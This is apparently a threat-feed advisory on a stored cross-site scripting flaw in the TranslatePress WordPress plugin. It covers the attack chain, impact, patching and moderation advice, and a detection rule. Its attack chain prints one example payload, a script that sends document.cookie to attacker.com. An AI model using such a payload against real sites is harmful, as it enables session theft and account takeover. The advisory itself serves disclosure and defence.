Skip to content
Threat Feed
high advisory

Stored Cross-Site Scripting in TranslatePress WordPress Plugin

The TranslatePress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the comment parameter, allowing unauthenticated attackers to execute arbitrary web scripts.

CVE search metadata

CVE search record: CVE-2026-107768. Severity: high. CVSS: 7.2. KEV: no. Product: TranslatePress – Translate Multilingual sites with AI Translation (<= 3.3.7). Brief: Stored Cross-Site Scripting in TranslatePress WordPress Plugin. Brief link: https://feed.craftedsignal.io/briefs/2026-10-translatepress-xss/

The TranslatePress - Translate Multilingual sites with AI Translation plugin for WordPress is affected by a Stored Cross-Site Scripting (XSS) vulnerability, tracked as CVE-2026-107768. All versions up to and including 3.3.7 are susceptible to this flaw, which stems from insufficient input sanitization and output escaping within the comment parameter. An unauthenticated attacker can leverage this vulnerability to inject arbitrary JavaScript into comments. This malicious script subsequently executes in the browser of any user - including administrators - who views the page where the injected comment is displayed. The vulnerability is highly relevant to defenders as it requires the site to have a secondary language configured and allow unmoderated comment submissions, which aligns with common configurations for multilingual WordPress deployments. Successful exploitation could lead to administrative account takeover via session hijacking or the redirection of site visitors to malicious domains.

Attack Chain

  1. Attacker identifies a WordPress site running a vulnerable version of TranslatePress (<= 3.3.7).
  2. Attacker verifies the target site has a secondary language enabled and allows unmoderated comment submissions.
  3. Attacker crafts a malicious payload containing JavaScript, such as '<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>'.
  4. Attacker submits the payload through the standard WordPress comment form on a public-facing post.
  5. The TranslatePress plugin processes the comment, failing to sanitize the malicious script within the comment parameter.
  6. The WordPress database stores the unsanitized script as part of the comment content.
  7. A legitimate user, such as an administrator, visits the affected page where the comment is rendered.
  8. The user's browser executes the stored JavaScript, leading to potential session theft or unauthorized actions on behalf of the user.

Impact

Successful exploitation of CVE-2026-107768 allows for the execution of arbitrary JavaScript in the context of a victim's session. Depending on the target's role, this can result in the full compromise of user accounts, theft of sensitive session cookies, or the defacement of the affected website. Because the payload is stored persistently, it may affect any user visiting the page, increasing the overall risk to the organization's user base and administrative environment.

Recommendation

  1. Update the TranslatePress plugin to the latest available version (beyond 3.3.7) immediately to remediate the lack of input sanitization.
  2. Monitor web server logs for HTTP POST requests directed at comment submission endpoints that contain script tags or suspicious JavaScript patterns.
  3. Enforce comment moderation policies to prevent unauthenticated users from posting content directly to public-facing pages without verification.
  4. Implement a strict Content Security Policy (CSP) to restrict the execution of unauthorized scripts within the browser context.

Immediate actions

Patch TranslatePress plugin to the latest version (v3.3.8 or higher)

IT Operations 24h

Mitigations

Enable strict comment moderation in WordPress settings

immediate IT Operations

CVE-2026-107768

Detection coverage 1

Detect CVE-2026-107768 Exploitation - Stored XSS via Comment Submission

high

Detects potential exploitation attempts of CVE-2026-107768 by identifying HTTP POST requests to WordPress comment endpoints containing common XSS script tags.

sigma tactics: execution, initial_access techniques: T1059.007 sources: webserver

Detection queries are available on the platform. Get full rules →